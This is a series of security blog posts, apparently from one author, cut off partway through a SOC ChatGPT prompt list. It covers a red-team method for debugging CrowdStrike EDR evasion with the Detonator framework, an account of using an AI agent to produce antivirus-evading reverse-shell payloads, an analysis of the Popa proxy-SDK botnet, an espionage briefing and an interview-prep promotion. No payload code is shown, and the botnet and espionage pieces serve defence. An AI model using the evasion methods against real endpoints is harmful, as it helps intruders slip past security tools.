Project Address:

https://github.com/MG1937/ASC

Article:
https://excalibra.github.io/posts/2026/20260912-droid-asc-android-reverse-engineering-tool/

Disclaimer:

The procedures and technical methods contained in this paper are intended solely for legal and compliant security research and teaching scenarios, with the aim of enhancing network security protection capabilities. They possess clear technical research attributes. Any unit or individual that uses the content of this article for illegal purposes such as attack or destruction without authorisation shall bear all legal liability, civil compensation, and joint liability independently; this site assumes no joint liability.

Constructing a CrowdStrike EDR Evasion Debugging Pipeline

Excalibra — Wed, 02 Sep 2026 21:11:00 +0000

Article Summary:

This article argues that EDR evasion testing does not depend on access to a cloud management console. Instead, the core requirement is a reproducible test environment employing single-variable controlled experiments to pinpoint detection triggers. It introduces the open‑source Detonator framework for automated EDR testing, supporting CrowdStrike and other major EDRs. The methodology emphasises a snapshot‑per‑run and one‑variable‑per‑test approach, and the article also notes the availability of authorised EDR test tokens.

Categories: Cybersecurity, Red Teaming, Security Tools

Executive Summary

This briefing addresses a common challenge faced by red team practitioners: testing a new loader against a CrowdStrike‑protected endpoint without access to the cloud‑based Falcon console. Many assume that the absence of logs renders testing futile. However, the author contends that the console provides only a conclusion (whether the sample was killed), whereas what the tester truly needs is the point of failure in the attack chain. By adopting a reproducible, single‑variable testing methodology—supported by the Detonator framework—one can systematically isolate the specific API call or technique that triggers detection, independent of console logs. This approach transforms debugging from a blind guessing game into a rigorous scientific process.

Introduction

Consider the following scenario: you have obtained a CrowdStrike endpoint with the sensor online and fully operational. You are ready to test a loader that you have been refining for three weeks.

Then you realise—you have no cloud console.

No logs, no detection strings, no rule triggers.

The immediate reaction is often panic: "How can I test without visibility?" But the central thesis of this article is that the console is not as indispensable as it seems. The true value lies not in receiving a binary verdict, but in understanding where and why the detection occurred.

The Console: A Mere Reporter of Results

What does the console actually provide? A polished interface showing a log entry: "Process terminated due to rule X." But that conclusion is merely a starting point. The real work—changing a parameter, re‑executing, and observing the outcome—remains manual. The console never explains the process: which API call was made, at which stage of the kill chain the failure occurred.

The Six Stages of Detection

To perform effective debugging, one must systematically examine each phase of execution. The following table outlines the key questions at each stage:

Stage	Question to Ask
File Dropping	Is the alert triggered upon writing to disk, or only during execution?
Process Startup	Is the parent process chain anomalous? Are startup parameters suspicious?
Memory Operations	Which call fails: VirtualAlloc, VirtualProtect, WriteProcessMemory?
Execution Flow Transfer	Is it APC injection, thread hijacking, callback, or SetWindowsHookEx?
C2 Communication	Is outbound traffic flagged by DNS or HTTPS JA3 fingerprinting?
Persistence	Is the Run key write blocked, or is a scheduled task intercepted?

Notably, none of these answers come from console logs. They are derived from carefully designed controlled experiments.

Single‑Variable Testing: The Only Scientific Approach

Effective EDR debugging hinges on a methodical, scientific approach: change only one parameter at a time.

Modify the encryption algorithm while keeping everything else constant → observe EDR reaction.
Change the injection technique while holding all else fixed → observe.
Alter the C2 protocol while preserving the rest → observe.

The moment a single alteration flips the detection outcome, you have identified the specific trigger. This pinpoints the exact system call that requires adjustment, rather than forcing a wholesale rewrite of the loader.

However, this methodology carries a critical prerequisite: reproducibility.

The Importance of Reproducibility: EDR Has Memory

Attempting to run multiple samples on the same machine in succession is flawed because EDRs retain state:

Cached detection results.
Local behavioural models that evolve.
Continuous scoring of processes over time.

Running a second sample may yield a detection not because of its own behaviour, but because the first sample has already sensitised the EDR. Hence, each test must start from a clean snapshot—same baseline, only one variable in motion.

Detonator: Automating the Debugging Pipeline

What Is Detonator?

Detonator is an open‑source framework designed to automate EDR testing. Its workflow is straightforward:

You submit a sample → Detonator controller → sends it to a virtual machine with the EDR installed → executes → collects detection results → returns a report.

Detonator supports Defender, Defender for Endpoint, Elastic Defend, CrowdStrike, Fibratus, RedEdrd, and other major EDRs.

Step 1: Environment Preparation

Install the Detonator controller (on any Linux or Windows machine):

   pip install uv
   uv venv
   source .venv/bin/activate
   uv pip install -r requirements.txt

Prepare a test virtual machine: install Windows, install the CrowdStrike Falcon sensor, and take a clean snapshot.
Install DetonatorAgent inside the VM using the provided automation script setup_detonator_windows.ps1.

Step 2: Configure EDR Integration

Edit profiles_init.yaml and add a CrowdStrike profile:

crowdstrike-lab:
  type: Crowdstrike
  comment: My CrowdStrike test environment
  port: 8080
  vm_ip: 192.168.1.100

Step 3: Execute a Test

Submit a sample:

python -m detonatorcmd --profile crowdstrike-lab mimikatz.exe

The output will directly inform you of the detection result and the specific rule triggered. For more realistic scenarios, the AutoIt mode can simulate file‑manager navigation, paste operations, and keypresses—even Clickfix‑style attack chains can be evaluated.

So, Is the CrowdStrike Console Really Necessary?

Returning to the original question: if you have a CrowdStrike endpoint without the cloud console, is testing still feasible?

The console’s only function is to announce detection outcomes. That function is precisely the least critical part of a reproducible testing methodology. What you truly need is the precise point of failure, not the fact that failure occurred. That knowledge comes from:

The sensor being online and enforcing blocks—the sample being killed is observable locally.
Detonator ensuring a clean snapshot for each run.
Iterative single‑variable changes—the moment the detection status flips reveals the exact trigger.

The cloud console provides logs; reproducible testing identifies the point of failure. The former is not essential.

If you require a CrowdStrike endpoint to set up such a testing pipeline, we offer authorised EDR endpoint tokens for a range of platforms including SentinelOne, Trend Micro, CrowdStrike, and others, enabling realistic attack‑defence simulation environments.

Concluding Remarks

The absence of a cloud console does not equate to blind testing. What you lack is not logs, but a reproducible, snapshot‑based, single‑variable testing discipline. The console gives you the outcome; reproducible testing gives you the root cause. And discovering the root cause is the essence of effective EDR evasion debugging—anything less is mere conjecture.

Original Post URL: https://excalibra.github.io/posts/2026/20260902-crowdstrike-edr-evasion-debugging-pipeline/

Categories: Cybersecurity, Red Teaming, Security Tools
Tags: edr-evasion, crowdstrike, detonator, debugging, red-teaming, reproducible-testing

Disclaimer:

The techniques and methods described herein are intended solely for legitimate security research and educational purposes, with the aim of improving cybersecurity defences. Any unauthorised use of this content for malicious purposes is strictly prohibited. The author and publisher assume no liability for any misuse. All content is shared for technical exchange.

Japanese Police Disclosure of 'Chance Encounter' Recruitment of Industrial Espionage Informants – Warning for Enterprises and Personnel in Japan

Excalibra — Sat, 29 Aug 2026 22:18:08 +0000

Executive Summary

This report examines recently disclosed operational methods employed by Japanese law enforcement agencies to counter industrial espionage, focusing on the systematic use of "chance encounters" to identify and develop informants. The analysis highlights the techniques used to target employees of technology-focused enterprises, with the objective of providing a risk assessment and actionable countermeasures for businesses and their personnel operating within Japan.

The disclosure of these methods by the Tokyo Metropolitan Police Department's Public Security Bureau serves a dual purpose: not only to inform the corporate sector but also to act as a deterrent by reducing the efficacy of these covert operations through increased public awareness.

The "Chance Encounter" Methodology

Initial Contact and Relationship Cultivation

Disclosed case studies reveal a highly consistent pattern of operation, often commencing with casual approaches in public settings. One illustrative example describes a senior manager of a telecommunications firm being approached in Tokyo's Shinbashi district by an unknown individual inquiring about local dining recommendations. This ostensibly innocuous interaction was, in reality, the first stage of a long-term surveillance operation designed to facilitate an apparently coincidental meeting.

This initial encounter is followed by a prolonged period of social engagement, often involving repeated dinners and social gatherings over several months. The goal is to cultivate a relationship based on trust and personal rapport, with the operational handler investing significant time in emotional bonding. The case of a machinery manufacturer in early 2026 involved an individual posing as Ukrainian, whose actual affiliation was with a foreign intelligence service, who leveraged more than ten social engagements in the Tokyo metropolitan area to gain access to commercial secrets.

The "Foot-in-the-Door" Technique

The psychological manipulation at the core of this strategy is the "foot-in-the-door" technique. Handlers systematically escalate their requests, beginning with trivial demands such as publicly available promotional materials or non-sensitive data, often offering small payments for compliance.

Once a pattern of cooperation is established, the requests gradually become more sensitive. This incremental process methodically dismantles an individual's psychological defences, making it significantly more difficult for the target to refuse subsequent, more egregious requests. By the time the target recognises the severity of the situation, they are often already deeply compromised.

The Role of Social Media

Social media platforms, particularly professional networking sites, provide a low-cost and highly effective vector for these operations. A significant case from 2018 involved an employee who was contacted by a foreign national who expressed admiration for their published academic paper. This led to a deepening professional dialogue, which eventually culminated in an invitation for a face-to-face meeting abroad and the subsequent exchange of sensitive information.

The information made publicly available on social media—such as professional history, job descriptions, and personal details—is actively collected and used to build comprehensive profiles of potential targets. A clear understanding of an individual's personal and family circumstances also provides handlers with potential leverage for future coercion.

Vulnerabilities in the Corporate Environment

The Danger of "Secure" Spaces

A critical vulnerability exists during business travel. When employees leave their organisation's secure environment and stay in hotels, they become more exposed to a variety of contact and penetration methods. Roles such as cleaners, maintenance staff, and room service personnel provide easy, unsuspicious access to a target's room and personal effects.

It is advised that hotel safes offer insufficient protection against a coordinated and determined adversary. Any electronic device, particularly laptops, left unattended for even a short period in a hotel room should be considered compromised.

Institutional and Personal Negligence

While security protocols are increasingly robust, the most significant weaknesses are frequently found at the individual level. The documented cases demonstrate that successful espionage almost invariably relies on an individual's failure to maintain vigilance and their gradual compromise, often without their conscious awareness. Professional expertise is not synonymous with identity verification or security awareness; even seemingly benign academic exchanges can be the initial stage of a targeting operation.

The Japanese Institutional Response

Accelerated Legal and Institutional Framework

Japan has enacted a rapid and comprehensive legislative response to these threats. Over the past three years, it has moved from policy initiatives to a fully operational security framework, including:

Enactment of relevant legislation.
Implementation of the "Important Economic Security Information" protection system.
Establishment of a patent non-disclosure review mechanism.

Comprehensive Risk Management

This new framework extends to core supply chain technology management, mandatory background checks for personnel with access to classified information, and stringent "deemed export" regulations concerning foreign employees. All activities, including joint research ventures, capital collaboration, and requests for samples, are now systematically assessed against a unified risk checklist.

This means that even activities conducted with entirely legitimate intentions may be subject to review and cause increased compliance costs if their behavioural patterns resemble those seen in known espionage cases.

Counter-Intelligence Implications and Self-Protection

Information as a Defence Tool

The decision by Japanese police to publicly disclose these operational details represents a strategic counter-intelligence measure. By disseminating information on how these methods operate, their covert nature is diminished, thereby reducing their overall success rate. This approach leverages transparency as a defensive tool, rather than relying solely on traditional law enforcement resources.

Personal-Level Protective Measures

Key protective measures for individuals include:

Maintaining physical control of electronic devices at all times, especially during travel.
Avoiding the storage of sensitive information on devices used while travelling.
Regularly auditing and limiting the amount of personal and professional information shared on social media platforms.

Avoiding Oversimplification

It is important to note that, in the disclosed cases, a diverse range of nationalities are represented among the perpetrators. Therefore, it would be inaccurate to generalise these threats as emanating from a single source. Counter-intelligence is a multi-faceted challenge requiring a comprehensive and global threat awareness framework.

Concluding Remarks and Further Analysis

This briefing provides an overview of the modus operandi identified by Japanese authorities. The underlying psychological principles, the detailed legal applications, and a comprehensive risk checklist for individuals and corporations operating in Japan require a more thorough analysis.

Using AI to Evade Antivirus Software: A Straightforward Approach

Excalibra — Sat, 15 Aug 2026 19:40:36 +0000

Article Summary: This piece demonstrates the process of leveraging an AI agent trained on the AVEvasionKit project from GitHub to achieve antivirus evasion. The author conducted tests within a Kali environment and found that the AI-generated solutions successfully bypassed both online scanning engines and local security software such as Huorong, subsequently enabling a successful reverse shell connection. The article underscores how AI reduces the barrier to entry for security research; however, it remains largely superficial in its treatment of the underlying technical principles, serving primarily as a rudimentary conceptual reference.

Using AI to Evade Antivirus Software: A Straightforward Approach

In this era of flourishing artificial intelligence, our work and daily lives have been enriched with boundless opportunities and enjoyment. Concurrently, this technological wave has introduced novel approaches to the study of cybersecurity.

Previously, within our testing environments, circumventing security software demanded considerable ingenuity and effort. Now, however, one need only distil the insights of others into actionable skills.

Warning: This article is intended solely for educational and research purposes. We firmly oppose any activity that compromises network security. Any legal liability arising from misuse rests solely with the individual perpetrator.

Deployment and Learning

We shall now instruct the AI to acquire relevant competencies, using the AV Evasion Kit project as our case study.

Project Repository: https://github.com/Excalibra/av-evasion-kit

It is advisable to phrase instructions to the AI agent in clear, straightforward language. One should also be mindful that certain operations may trigger safety warnings, requiring a degree of circumspection.

Upon successful skill acquisition, we proceed to validate the implementation.

Initial Testing

Subsequently, we conducted verification of the deployed skills within a Kali Linux environment.

Note: Pay careful attention to the precision of your descriptive prompts.

Online Scanning: The generated payload evaded detection by popular online antivirus scanners.

Local Protection (Huorong): The payload successfully bypassed Huorong's active protection mechanisms.

Callback Achieved: A reverse shell connection was successfully established, confirming execution.

Conclusion

Through this experimental process, it becomes evident that artificial intelligence offers a remarkably accessible entry point into cybersecurity research. Much like human cognition, AI operates through continuous learning and iterative refinement. With dedication and sustained curiosity, mastery becomes an attainable objective.

Disclaimer:

The procedures and technical methodologies described herein are published solely for the purpose of lawful security research and pedagogical instruction, with the explicit aim of enhancing defensive capabilities. They are intended for academic and technical exploration.

Any individual or organisation that employs the contents of this article for unauthorised, malicious, or otherwise unlawful activities shall bear full legal liability, civil compensation, and any associated consequences.

How I Went From Interview Rejections to Building a 200+ Question Open‑Source Cybersecurity Resource

Excalibra — Sat, 25 Jul 2026 11:26:33 +0000

And why I’m giving it away for free.

I remember the exact moment I realised I was doing interview prep all wrong.

I had just finished yet another technical interview that I thought went well. I knew the CIA triad. I could explain SQL injection. I’d even practised my STAR method answers.

Then the interviewer asked: “Walk me through how you’d respond to a ransomware outbreak across 200 servers.”

I froze.

Not because I didn’t know the answer — but because I’d never thought about interviews that way. I’d been memorising definitions when I should have been learning how security professionals actually think.

The Problem With Most Interview Prep

Here’s the reality: most cybersecurity interview resources are a mess.

Scattered PDFs that are years out of date
Random blog posts with conflicting answers
Paywalled courses that cost hundreds of pounds
Practice questions with no explanations — just “here’s the right answer, trust us”

Sound familiar?

I wasted months bouncing between these. Every time I thought I was prepared, a curveball question would expose another gap. I was building my knowledge on shaky foundations — and interviewers could tell.

So I did what any frustrated engineer would do.

I built my own.

Enter: 200+ Cybersecurity Interview Questions (Free & Open Source)

After six months of collecting, curating, and validating, I’m releasing what I wish I’d had from day one:

A free, open‑source collection of 200+ cybersecurity interview questions and answers.

Here’s what makes it different:

No fluff. Every question is practical and interview‑relevant.
Organised by domain — Red Team, Blue Team, Web Security, Incident Response, Network Security, Systems, Tools, and more.
Searchable live website — find topics instantly, no scrolling through a massive README.
Continuously updated — this isn’t a one‑and‑done PDF. It’s a living resource that grows with the community.
Completely free. No paywalls, no email sign‑ups, no tricks.

excalibra.github.io/cybersecurity-interview-questions

github.com/Excalibra/cybersecurity-interview-questions

What’s Inside?

The repository is organised into logical sections so you can focus on what matters most for your next interview:

Section	What You’ll Find
Red Team	Exploitation, evasion, deserialisation, WAF bypass, domain attacks, persistence
Blue Team	Incident response, log analysis, intrusion detection, traceability, system hardening
Web Security	SQLi, XSS, CSRF, SSRF, file uploads, logic flaws
Network Security	ARP, DNS, TCP/UDP, DDoS, OSI model, routing protocols, firewalls, SSL/TLS
Incident Response	Threat intelligence, malware detection, honeypots, forensic analysis
Internal Network Penetration	Lateral movement, domain controller attacks, golden/silver tickets, tunnelling
Systems	Windows/Linux hardening, privilege escalation, persistence detection
Tools	Nmap, sqlmap, webshells, proxies, tunnelling tools
Computer Networks	OSI model, TCP/IP fundamentals
Traceability & Traffic Analysis	Wireshark, traffic patterns, attack attribution

And yes — I recently added a dedicated Blue Team section with 70+ questions. Because defence matters just as much as offence.

Why Open Source?

I could have packaged this as a course or a paid PDF. But that’s exactly the problem I’m trying to solve.

Interview prep should be accessible to everyone.

By keeping it open source:

Anyone can use it, fork it, or contribute.
The community can catch mistakes and suggest improvements.
It stays relevant because it evolves with real‑world feedback.

If you find a question that’s unclear, an answer that could be better, or a topic that’s missing — open an issue or submit a pull request. This resource is for the community, and the community makes it better.

What People Are Saying

“I wish I had this when I was preparing for my first security role.”

— Anonymous Reddit user

“Finally, a resource that actually explains *why the answer is what it is.”*

— Early contributor

“The searchable live site is a game‑changer. No more scrolling through endless Markdown files.”

— Community member

How You Can Help

If this resource helps you, here are a few ways to give back:

⭐ Star the repository — it helps others discover it.
Share it — with your network, on LinkedIn, Reddit, or Discord.
Contribute — open an issue or PR with improvements.
Use it — and let me know what topics you’d like to see next.

One Last Thing

Interview prep isn’t about memorising trivia. It’s about building the mental models that help you think like a security professional.

This repository won’t guarantee you a job. But it will give you a structured, practical foundation — so when the interviewer throws a curveball, you’re ready.

Not because you memorised the answer.

But because you understand why it’s the answer.

Check it out here:

🔗 excalibra.github.io/cybersecurity-interview-questions

🔗 github.com/Excalibra/cybersecurity-interview-questions

If this helped you, please consider giving it a star ⭐ — it makes a huge difference in helping others find it.

Exposure of a Botnet Linked to an Israeli Listed Company

Excalibra — Thu, 23 Jul 2026 19:48:34 +0000

Article Summary: A proxy software development kit (SDK) named Popa has been exposed, capable of transforming mobile phones, TV boxes, and other devices into residential proxy network nodes. The SDK is distributed through pirated applications, counterfeit boxes, and bundled installations across Android and Windows platforms. Its operations are highly stealthy, employing dynamic configuration to evade blocks and utilising proprietary protocols for communication with backend servers. Notably, this infrastructure shows deep connections with NetNut, a residential proxy provider under the Israeli listed company Alarum Technologies. The report indicates the network maintains millions of active IPs daily and is used for activities such as AI data scraping, posing risks to user device security and enterprise networks.

Many users remain unaware that their mobile phones or home TV boxes may be quietly integrated into commercial residential proxy networks in the background, forwarding network traffic for third parties.

On 18 June 2026, Synthient, Nokia Deepfield, Qurium Media Foundation, and KrebsOnSecurity simultaneously released research reports that fully exposed the ecosystem surrounding the Popa and Neunative proxy SDKs.

This SDK spans Android and Windows platforms. It is implanted via pirated streaming applications, counterfeit TV boxes, download tools, and other channels, ultimately feeding into the same residential proxy infrastructure. This network maintains deep ties with NetNut, the residential proxy service under the listed company Alarum Technologies.

Popa: A Multi-Platform Proxy SDK Family

Popa is not a single malicious program but a long-evolving family of proxy software development kits. Its core objective is to convert ordinary consumer devices into exit nodes for residential proxy networks. Over years of iteration, it has developed a comprehensive matrix across multiple languages, platforms, and brands, with variants tailored to different implantation scenarios.

Branch Name	Package Name	Development Language	Earliest Sample Date	Primary Platforms
Moneytiser	io.moneytise	Java	December 2020	Android
Popa	io.popanet	Java	March 2022	Android
Loopop	io.nn.lp	Java	November 2023	Android
Neupop / Neunative	io.nn.neunative / NeunativeWin.dll	C++	February 2026	Android, Windows

The SDK’s distribution channels cover a broad range of consumer devices; virtually any terminal capable of installing third-party applications may serve as a carrier.

Android devices are the primary target. The Vo1d botnet infects large numbers of counterfeit TV boxes and implants Popa plugins. Additionally, numerous pirated streaming applications actively bundle the SDK, including Ocean Streamz, CyberFlix, Flixoid, Sportzfy, and dozens of other popular titles. Users installing these applications inadvertently join the proxy network. (Initial discovery referenced from XLab: https://blog.xlab.qianxin.com/long-live-the-vo1d_botnet/)

Even the open-source application Smart Tube was compromised, with the proxy SDK inserted across multiple versions for five months before community detection. On Windows, prominent examples include RoboVPN — a commercial VPN marketed for privacy protection — which bundles the complete Neunative proxy SDK via NuGet dependencies in its installer. The well-known BitTorrent client MediaGet similarly incorporates the SDK, automatically enrolling users’ devices into the proxy pool upon installation.

Smart TV platforms have also seen significant penetration. According to Spur research, 42.5% of applications on LG webOS and 26.5% on Samsung Tizen contain similar proxy SDKs. Installing a simple game or utility application can transform a household television into a permanently online proxy node.

Stealth Design of the Android Popa SDK

In newer Popa versions, the SDK avoids hard-coded command-and-control server addresses. Instead, it dynamically fetches configuration from public cloud storage. Specifically, it contains a built-in download link pointing to Google Drive; the file is encrypted with AES-ECB, and decryption reveals the real relay server addresses.

This approach of hosting configuration on mainstream cloud services substantially enhances infrastructure resilience and circumvents conventional domain blocking. Device registration and network enrolment occur in two stages. First, a qualification check: upon launch, the SDK queries an initial interface, and the server determines whether the device meets enrolment criteria, filtering out unsuitable devices. Second, node list acquisition: verified devices call the registration interface, receive a list of available relay servers, establish connections, and begin forwarding traffic.

Although recent SDK versions include interfaces for user consent dialogues, developers rarely invoke this functionality in practice. Qurium’s static analysis confirmed the presence of complete consent dialogue components within the code, yet no call paths from the startup process to these dialogues exist. Devices proceed directly to registration upon boot without notifying the user.

Windows Neunative SDK

Nokia Deepfield’s reverse engineering of RoboVPN fully details the operation of the Windows Neunative SDK, revealing stealth far exceeding the Android variant. The RoboVPN client itself provides full VPN functionality via WireGuard protocol, supporting country selection, speed testing, and standard features.

The proxy SDK is embedded as a NuGet dependency, indistinguishable in the installation manifest from ordinary components such as JSON parsing libraries. Its activation logic is particularly deceptive: the SDK does not run during VPN connections. Instead, it activates only when the VPN is disconnected or the client is idle after login, preceded by a random delay of 30 to 90 minutes. Reconnecting the VPN immediately halts the proxy service.

This design serves a clear purpose. WireGuard operates in full-tunnel mode; simultaneous proxy operation during VPN connectivity would route exit traffic through datacentre IPs, undermining residential proxy value. Activation solely during VPN disconnection ensures forwarded traffic originates from genuine residential user IPs, aligning perfectly with commercial residential proxy characteristics. Short-term packet captures by ordinary users are unlikely to detect anomalies, often leading to the erroneous conclusion that the software is clean.

Proprietary Relay Protocol and Security Vulnerabilities

The Neunative core consists of a 194 KB x64 C++ binary containing 598 functions. It relies on the system Schannel library for TLS encryption without additional cryptographic bundles. Communication utilises a custom binary TLV (Type-Length-Value) protocol, with messages distinguished by 4-byte type codes across seven core message types:

Registration message – for device enrolment to relay nodes
Registration response – returning enrolment results
Heartbeat message – maintaining connection liveness
Open tunnel instruction – carrying target hostname and port
Tunnel data – carrying forwarded raw traffic
Close tunnel instruction – terminating a specified tunnel
Disconnect message – normal connection termination

Upon receiving an open-tunnel instruction, the SDK spawns an independent thread, resolves the target domain and port, establishes a direct connection, and performs bidirectional data forwarding between the relay server and destination. The SDK includes destination address filtering to block private, loopback, link-local, and multicast addresses, preventing third-party access to user internal networks. However, this filtering contains clear deficiencies: it does not block the 0.0.0.0/8 range and lacks any port blacklist. On Android, accessing port 5555 on 0.0.0.0 directly targets the device’s ADB debugging service, enabling attackers to compromise the device and convert proxy nodes into botnet zombies. Observations indicate that port 5555 ranks as the third most active outbound port across the Popa network, confirming such attacks are occurring in the wild.

Two-Tier Backend Infrastructure

Qurium and Nokia’s investigations jointly reconstruct the backend’s full scale. The network employs a two-tier architecture of a scheduling layer and relay layer. The top tier features load-balancing domains, with lb.gmslb.net as the primary enrolment entry point backed by ten servers in OVH datacentres. Devices register here and receive geographically matched relay node lists. The lower tier comprises relay node clusters using numbered domains with numerous fronting domains.

A single relay server may correspond to up to 30 different fronting domains such as viki-play.com and star-layer.com. All domains are hosted on Cloudflare under two accounts to avoid single-point failure from blocks. Domain names mimic legitimate technology products through compound English words, enhancing deception. Enumeration of numbered domains reveals approximately 360 active relay servers, all deployed in commercial datacentres (OVH, GTHost, Hetzner, Linode) with none being residential nodes.

The true residential exits are the compromised user devices implanted with the SDK.

Two Faces of the Same Backend: Botnet and Commercial Software

Popa first gained public attention as a traffic-forwarding plugin for the Vo1d botnet, which targets Android TV boxes. At disclosure in 2024, Vo1d infected approximately 1.3 million devices, growing to 1.6 million by 2025 across 226 countries and regions. Infected devices download the Popa plugin and contribute to the residential proxy network for profit. Meanwhile, Neunative functions as a commercial SDK embedded in legitimately distributed software such as RoboVPN through voluntary user installation.

Despite divergent distribution paths, both ultimately connect to identical backend infrastructure. Technical architecture comparison reveals near-identical core relay protocols, message types, and node scheduling logic, with only minor differences in registration ports and interface paths. Windows Neunative build path records confirm the compilation directory was named after the Android native SDK, indicating a cross-platform port of the same codebase. Consequently, a virus-infected counterfeit TV box and a user-installed free VPN on a home computer become exit nodes within the same proxy pool, serving identical paying customers. The backend makes no distinction regarding enrolment method or verification of genuine informed consent.

Attribution Chain: From NinjaTech to NetNut

Qurium’s investigation, tracing domain history and corporate records, ultimately points to the well-known residential proxy provider NetNut and its parent company Alarum Technologies. Key evidence emerged from domain transitions. Following Google and security vendors’ 2025 crackdown on Badbox 2.0, which blocked numerous Popa control domains, dozens of replacement domains appeared. Among these, only ninjatech.io was a long-registered domain. Internet Archive records show ninjatech.io as the former website of NinjaTech, promoting bandwidth monetisation SDKs that allow developers to earn from users’ idle bandwidth without displaying advertisements.

Latvian corporate records indicate NinjaTech SIA was registered in January 2020 under Moshe Yehuda Kramer. Public profiles confirm Kramer as NetNut co-founder, primary architect of its platform, and current Chief Strategy and Innovation Officer plus Senior Vice President of R&D at Alarum Technologies. Multiple infrastructure overlaps exist: early SDK domains such as cyberprotector.online, sdk.netnut.io, and sdk.ninjatech.io shared identical server IPs between 2021 and 2025. Synthient’s controlled testing verified that devices running Popa SDK route exit traffic through NetNut’s commercial gateways.

In response, Kramer stated that NinjaTech ceased operations years ago, with the SDK code sold and licensed to third parties; subsequent modifications and deployments are unrelated to him or NetNut. He denied registering the 2025 replacement domains or controlling current Popa infrastructure.

The proxy network’s scale far exceeds common perceptions. Black Lotus Labs (under Lumen) monitoring shows 1.5 to 2.5 million daily active IPs and 250–300 control nodes. Nokia Deepfield sampling from 26 relays estimates 35,000–60,000 clients per relay, suggesting a potentially larger total. Its industry penetration is particularly concerning: NetNut serves as a core residential proxy provider, with numerous downstream resellers amplifying Popa exit IPs across dozens of services.

The primary driver of expansion is massive web scraping demand for AI training. Datacentre IPs are easily blocked by anti-bot measures, whereas residential IPs enjoy higher trust. AI companies procure residential proxies at scale for content collection, fuelling demand and the proliferation of grey SDKs. This scraping has produced tangible public impact: in May 2026, the ARIJ independent media website faced massive scraping from 1.35 million IPs across 223 countries and regions originating from this network. Numerous non-profits, academic institutions, and public knowledge bases suffer service degradation or outages.

Enterprise risks are equally pronounced. Infoblox data indicate 65% of corporate networks exhibit residential proxy-related domain queries, exceeding 90% in pharmaceuticals and food & beverage, and over 60% in government and finance sectors. Personal devices connecting to corporate networks create outbound channels to enterprise IPs; if exploited for attacks, organisations face attribution challenges and reputational damage.

Alarum Technologies issued a statement asserting the reports contain numerous inaccurate claims and flawed inferences, denying botnet classification. The company maintains the SDK enables legitimate bandwidth sharing without compromising device security, operates a compliant commercial proxy network with full KYC, abuse monitoring, and compliance measures. However, Spur noted that NetNut does not enforce rigorous enterprise verification; individual users require only email and payment, while downstream white-label resellers face minimal checks, often limited to cryptocurrency and temporary email.

All research teams emphasised analytical boundaries. Evidence derives from sample reverse engineering, network telemetry, and public records. It does not conclusively prove direct NetNut operation of the SDK implantation network, nor rule out downstream reseller or third-party developer violations. Infrastructure and traffic-layer associations are reproducible facts, while precise commercial relationships and intent remain inconclusive.

Windows Detection: Users may inspect the registry key HKCU\Software\Neunative and log files such as NeuNative.log in the AppData directory to determine potential SDK implantation.

Enterprise and Institutional Mitigation: Block known Popa and Neunative scheduling domains and relay IPs at network perimeters to prevent enrolment. Enhance monitoring of outbound TLS traffic on port 6000 to identify anomalous relay connections.

Conclusion

The comprehensive exposure of the Popa and Neunative ecosystem has brought long-standing grey areas within the residential proxy industry into sharp focus. From virus-infected TV boxes to user-installed free software, millions of devices are enlisted into commercial proxy networks without owner knowledge, consuming bandwidth and electricity while introducing risks of device compromise and identity theft. As AI data collection demands continue to grow, the residential proxy market will expand, creating further opportunities for similar grey SDKs.

References:

Disclaimer: The programs and technical methods described in this article are intended solely for legitimate, compliant security research and educational purposes to enhance cybersecurity defences and possess clear technical research attributes. Any unauthorised use for attacks, destruction, or other illegal activities shall result in the perpetrator bearing full legal, civil, and joint liability; this site assumes no liability. Content is published for technical exchange and knowledge sharing. For copyright or other disputes, please contact us via the provided channels.

10 ChatGPT Prompts for Daily Use by L1 SOC Analysts

Excalibra — Thu, 23 Jul 2026 19:15:26 +0000

Article Summary: This article provides ten practical ChatGPT prompts tailored for L1 SOC analysts, covering scenarios such as alert triage, threat analysis, and documentation. It aims to optimise security incident response workflows. The core value lies in assisting analysts with repetitive tasks including alert summarisation, log anomaly identification, MITRE framework mapping, threat hunting, and executive reporting. It emphasises the need to avoid inputting sensitive data into public AI tools, recommending instead the use of enterprise-grade AI solutions with mandatory human verification of outputs.

Security Operations Centre (SOC) analysts must continuously manage vast volumes of security alerts, often under severe time constraints. In addition, they are required to conduct precise investigations, maintain comprehensive documentation, and communicate findings to both technical and non-technical stakeholders. In this context, generative AI tools such as ChatGPT can serve as valuable assistive instruments.

The table below summarises ten ChatGPT prompts specifically adapted for L1 SOC analysts, suitable for quick reference. These prompts are beneficial not only for junior analysts but also for L2 and L3 analysts, as well as anyone seeking to understand standard incident response procedures. Sensitive data must never be entered into public AI tools. Instead, these prompts may be used to train dedicated AI agents for partial workflow automation.

No.	Scenario	Assistive Function	Value to SOC Operations
1	Security alert summarisation	Condenses alert data into content suitable for non-technical audiences	Supports junior analysts in triage and risk-level determination
2	Raw log analysis	Identifies anomalous behaviour, indicators of compromise, and attack patterns	Aids log tracing and security investigations
3	Customised triage checklist generation	Establishes standardised step-by-step investigation processes when no playbook exists	Assists analysts handling unfamiliar alert types
4	Incident ticket documentation	Organises scattered notes into standardised ticket records	Improves documentation quality, handover efficiency, and audit compliance
5	Escalation report drafting	Produces concise escalation content for L2/L3 analysts	Reduces redundant communication and enhances collaboration
6	Phishing email analysis	Examines risk characteristics in suspicious emails	Supports threat-level assessment of phishing attempts
7	MITRE ATT&CK framework mapping	Aligns observed behaviours with tactics, techniques, and procedures	Enriches threat analysis and report quality
8	Threat hunting hypothesis generation	Provides hunting assumptions and follow-up investigation directions	Enables novice analysts to conduct proactive threat hunting
9	Security detection rule optimisation	Outputs detection logic, tuning recommendations, and false-positive mitigation strategies	Broadens detection coverage and reduces alert fatigue
10	Executive summary report writing	Translates technical content into business-oriented language	Facilitates clear communication with management and business stakeholders

Judicious application of ChatGPT and similar AI tools can substantially alleviate repetitive tasks for SOC analysts, including alert summarisation, log anomaly detection, ticket writing, and the translation of technical content into accessible language.

However, generative AI and intelligent agents cannot fully replace human judgement. They should function as efficiency enhancers, supporting analysts in information synthesis, reducing documentation burdens, and streamlining content interpretation. The prompts below are designed for routine SOC workflows, enabling seamless integration of AI into daily operations.

1. Security Alert Summarisation

Security tools frequently generate lengthy detection outputs filled with vendor-specific terminology, process details, metadata, and behavioural descriptions. This can impede the efficiency of junior analysts during triage.

Prompt: From the perspective of an L1 SOC analyst, summarise the following security alert in plain language. Explain the sequence of events, potential risks, threat severity level, and the three priority investigation steps: [Paste alert, log, or endpoint detection content here].

ChatGPT can produce a concise abstract explaining the alert’s meaning and associated risks, eliminating the need for manual interpretation of every field and technical term.

2. Raw Log Anomaly Analysis

